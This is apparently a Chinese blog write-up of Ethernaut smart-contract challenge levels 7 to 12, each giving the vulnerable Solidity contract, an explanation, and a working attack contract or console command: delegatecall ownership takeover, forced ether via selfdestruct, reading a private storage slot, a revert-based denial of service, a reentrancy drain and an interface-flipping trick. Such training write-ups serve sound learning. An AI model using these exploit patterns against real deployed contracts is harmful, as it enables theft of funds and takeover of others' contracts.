Ethernaut靶场学习实践(二)

7.Delegation

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {
    
    

  address public owner;

  constructor(address _owner) public {
    
    
    owner = _owner;
  }

  function pwn() public {
    
    
    owner = msg.sender;
  }
}

contract Delegation {
    
    

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    
    
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    
    
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
    
    
      this;
    }
  }
}

这关要求我们拿到合约Delegation的所有权.
本关代码中提供了两个合约,delegate和delegation,而我们要做的是拿到合约delegation的所有权,我们发现在合约Delegation中找不到更换函数所有权的操作,那我们可以去delegate中找一找。
在这里插入图片描述
在delegate中存在函数pwn(),可以更改合约的所有权,但他在delegate里面,和delegation有关系吗?
在这里插入图片描述
在delegation的fallback函数中存在delegatecall调用。而在solidity中,call函数簇可以进行合约之间的相互调用,分别是,call、delegatecall、calldata。
,以用户A通过B合约调用C合约为例

  • call:最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
  • calldata:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B

因此,当我们使用delegatecall时,虽然使用的是Delegate的函数,却是在Delegation的环境下执行的,我们可以以此来编辑攻击合约。

攻击

攻击合约:

contract attack{
    
    
  address public owner;
  bool public result;
  Delegation delegation;
  constructor(address _delegationAddress)public {
    
    
    delegation = Delegation(_delegationAddress);
    owner = msg.sender;
  }
  function attack1()public{
    
    
   // bytes4 method = bytes4(keccak256("pwn()"));
     address(delegation).call(abi.encodeWithSignature("pwn()"));
    
  }

}

与之前相同的步骤生成新实例,将实例变量放入攻击合约的部署参数中部署,部署完后直接进行攻击。
在这里插入图片描述
remix显示成功后但owner并没有发生改变,我们在区块链浏览器上查看调用的具体步骤。
在这里插入图片描述

在这里插入图片描述
可以看到交易并没有成功,而产生了out of gas的错误,我们重新进行攻击,在攻击时修改gas的限制(注意是在小狐狸弹窗处进行修改,而不是remix)

在这里插入图片描述

修改后攻击,可以发现,owner已经变成了攻击合约,可以提交了。
在这里插入图片描述
提交发现无法通过,随后发现需要owner是我们自己的地址。那我们就直接在控制台进行交易的构造。
控制台输入 await contract.sendTransaction({data:web3.utils.keccak256(“pwn()”).slice(0,10)})
这里的data是为了调用pwn函数,用keccak256进行编码且只取了前四个字节。
在这里插入图片描述
攻击完成,owner已经变成自己,可以进行提交了
在这里插入图片描述
提交实例,关卡完成

8.Force

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {
    
    /*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

我们可以看到这个合约中没有任何东西,而给智能合约转账通常由三种方法,transfer,send,call.value,但这三种方法的前提都是需要目标合约中存在payable修饰的函数,那还有没有其他方法呢?有

However, there’s another way to transfer funds without obtaining the
funds first: The Self Destruct function. Selfdestruct is a function in
the Solidity smart contract used to delete contracts on the
blockchain. When a contract executes a self-destruct operation, the
remaining ether on the contract account will be sent to a specified
target, and its storage and code are erased

我们在官方文档中发现了另一种转账方式,也就是说合约自毁时可以将合约剩下的所有以太发送给指定地址,而不用管目标地址是否接受转账。
我们可以以此来构建攻击合约。

攻击

攻击合约:

contract attack{
    
    
    Force force;
    constructor()public {
    
    
        
    }
    function complete(address payable _addr)public payable{
    
    
        selfdestruct(_addr);
    }
}

我们通过selfdestrcuct函数来进行合约的自毁,并将剩下的以太传入目标实例的地址。
同样,我们先在靶场生成新实例,随后在remix中编译并部署攻击合约,将目标合约地址传入攻击函数进行攻击(别忘了在攻击时传入1Wei)。
在这里插入图片描述
传入2Wei,攻击成功,可以提交。
在这里插入图片描述
我属实是没想到,写着博客发生了意外,Rinkeby测试网关了,导致靶场无法生成实例,我还是会继续将方法和分析放进博客中。

9.Vault

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
    
    
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    
    
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    
    
    if (password == _password) {
    
    
      locked = false;
    }
  }
}

本关需要我们打开锁,也就是locked,而要让locked变成false,就需要调用到unlock函数,也就需要我们的密码,但密码是private的,无法直接查看,别担心,任何东西在区块链上都是有迹可循的。

solidity采用bytes32字节数组的方式存储链上的数据,所有存储在storage中的变量都会在这个数组中,所以这个密码也不例外,我们来分析一下他的存储位置。

我们知道bool类型占一个字节,而bytes32占32字节,因此
locked(1字节)<== slot(0)
password(32字节)<==slot(1)
我们可以在区块链上查找password

攻击

在控制台输入,await web3.eth.getStorageAt(contract.address,1)
就可以很轻松的获取到password,随后继续输入await contract.unlock()(括号中填入刚刚查到的password),就可以轻松解开locked,随后提交实例,关卡成功。

10.King

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {
    
    

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    
    
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    
    
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    
    
    return king;
  }
}

这关需要让我们成为king,并阻止其他人夺走king这个位置。
成为king很简单,只要我们向合约发送eth,并且大于price就可以了,那我们怎么阻止其他人成为King呢,其实也很简单。
在receive函数中,在其他人即将成为king时,会将他发送的msg.value转给我,如果我用的是攻击合约的话,就会触发我的fallback或receive函数,我就可以在这个函数中阻止他的继续操作,我们以此来编写攻击合约:

攻击

contract attack{
    
    
    
    function complete(address payable _addr)public payable{
    
     
        _addr.call.value(msg.value)("");
    }
    function reTran()public{
    
    
        msg.sender.transfer(address(this).balance);
    }
    fallback()external payable{
    
    
        revert();
    }
}

代码很简单,complete函数用来攻击,而reTran让我们能把eth取回来(也可以不用),我设置的fallback函数中,只要他一给我转钱就会直接revert回退,导致他无法进行后面的操作,也就无法成为king了。
我们直接调用complete函数,执行完后可直接提交实例,关卡成功。

11.Re-entrancy

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
    
    
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    
    
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    
    
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    
    
    if(balances[msg.sender] >= _amount) {
    
    
      (bool result,) = msg.sender.call{
    
    value:_amount}("");
      if(result) {
    
    
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {
    
    }
}

此题要求我们拿走合约的所有资产。
合约很简单,一个捐献函数可进行捐款,一个查余额函数,以及一个取钱函数,而取钱函数要求我们的余额大于要取的数,要怎么将合约的资产全部拿走呢。
我们注意到,withdraw函数中如果我们通过了if,他就会直接给我们转账,再进行余额的删减。

如果这样进行转钱的话,在call调用时,如上题一样,同样会触发我们合约中的回退函数,我们可以在回退函数中,达到我们的目标。

攻击

攻击合约:

contract attack{
    
    
    Reentrance re;
    address  payable owner;
    uint public balance;
    uint money;
    constructor(address payable _addr)public  {
    
    
        re = Reentrance(_addr);
        owner = msg.sender;
    }
    function donate()public payable{
    
    
        money = msg.value;
        re.donate{
    
    value:money}(address(this));
    }
    function withdraw()public{
    
    
        re.withdraw(money);
    }
    function qu()public{
    
    
        owner.transfer(address(this).balance);
    }
    fallback()external payable{
    
    
        balance = address(re).balance;
        if (balance>0){
    
    

        if(balance>=money){
    
    
            re.withdraw(money);
        }else{
    
    
            re.withdraw(balance);
        }
        }
    }
}

在我们的合约中,重点还是在回退函数,我们在给目标合约捐款后,就可以调用withdraw,取走我们存入的钱,并且触发我们的fallback函数,继续调用withdraw,由于此时我们的余额还没有进行删减,我们依然能通过require,继续取走合约中的钱,直到将合约中的钱取空

我们先调用donate函数捐1 Finny,再调用withdraw函数取走1 Finny,合约中的余额就会直接被我们掏空,提交实例,关卡成功。

12.Elevator

分析

源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
    
    
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
    
    
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    
    
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
    
    
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

这关要让我们到达大楼顶部,什么意思呢,也就是让我们的top为true。

我们看到top被赋值的是building中的isLastFloor(floor)的返回值,需要false才能进入if,但我们却需要top被赋值为true,看起来似乎不能同时满足对吧,别担心,我们有view。

攻击

攻击合约:

contract attack{
    
    
    bool public top;
    Elevator elevator;
    constructor(address _addr)public {
    
    
        elevator=Elevator(_addr);
        top = true;
    }
    function isLastFloor(uint) external returns (bool){
    
    
        top = !top;
        return top;
    }
    function complete()public {
    
    
        
        elevator.goTo(10);
    }
}

由于goTo中每次调用的Building都是msg.sender,所以我们构造出一个满足Building接口的合约即可,在每次调用我们的isLastFloor时,top的值都会进行翻转,也就是两次调用出的值并不一样,我们可以进入if,而top赋值时取到的值却是true。

我们直接调用complete,top的值即可直接变为true,提交实例,关卡完成。

猜你喜欢

转载自blog.csdn.net/m0_68764244/article/details/127155475